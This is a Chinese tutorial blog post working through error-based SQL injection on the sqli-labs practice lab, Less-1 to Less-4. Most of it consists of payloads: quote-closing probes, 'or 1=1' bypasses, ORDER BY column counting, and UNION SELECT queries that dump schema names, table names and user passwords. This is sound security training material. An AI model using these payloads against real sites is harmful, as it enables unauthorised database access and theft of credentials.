写在前边
正式开始填坑,靶场搭建之前的文章已经写了,不清楚的可以去 https://www.cnblogs.com/Lee-404/p/12787190.html
如果不清楚什么是SQL注入的,可以去了解一下 https://www.cnblogs.com/Lee-404/p/12795193.html
这篇是介绍的是MySQL基于SQL报错回显注入的原理和sqli-libs 1— 4的练习
SQL报错回显
首先,我们先了解一下说明是报错,当sql语句错误时,会爆出错误,我们可以根据错误提示来猜测sql查询语句,比如在sqli-1中传入 ?id=1 时
页面返回正确,但当我们传入 ?id=1' 时候 ,页面会回显报错
这时候我们可以得到错误信息,重点关注
''1'' LIMIT 0,1'
真正错误的实际上是红色部分,发现多个单引号,单引号是我们传入的,由此,可以推断SQL语句是
select * from users where id = '$id' limit 0,1;
$id是我们传入可控制的,因为多了一个了单引号所以报错,接下来开始构造
?id = 1' or 1=1 --+
构造成功绕过,此时的sql语句应该为
select * from users where id = '1' or 1=1 -- ' limit 1,0; //--+表示连接后边被注释的语句
这时候我们就可以为所欲为了
查询字段数
?id = 1' order by 字段数 --+ //当字段数报错且当前字段数-1不报错时,该表的字段数为当前报错字段数-1
得出当前字段数为3,接下来看一下各字段数显示位置
?id=-1'union select 1,2,3--+ //当查询一个不存在的值时,会执行联合后边语句并将后边的语句执行值返回显示
可以发现,2,3的显示位置,我们可以更改2,3处的语句来查询数据
爆数据
?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+
发现将所有数据库都爆了出来,接下来爆表,因为sqli-labs的数据库是security,接下来爆表
?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
爆表的字段名
?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+
爆字段值
?id=-1'union select 1,username,password from users where id=2--+
其实,回显报错注入最重要的就是推测SQL语句并让其闭合
Less-2
构造 ?id=1'
发现是多了个单引号,此时的SQL语句应该
Select * from TABLE where id = 1' limit 0,1;
所以传入 ?id=1 or 1=1 --+
接下来按照Less-1的方法注入
Less-3
传入 ' 让其报错
推测SQL语句
Select login_name, select password from table where id= ('$id')
构造 ?id=1') or 1=1 --+
其他注入姿势
') or '1'=('1'
') or 1=1 --+
其他的和Less-1一样
Less-4
'传入发现不报错,尝试传入"报错
此时的SQL的执行语句
$sql="SELECT * FROM users WHERE id=("1"") LIMIT 0,1";
那我们构造 ?id=1") or 1=1 --+
其他的和Less-1一样,把 ' 改为 "
如有错误和不足请联系,谢谢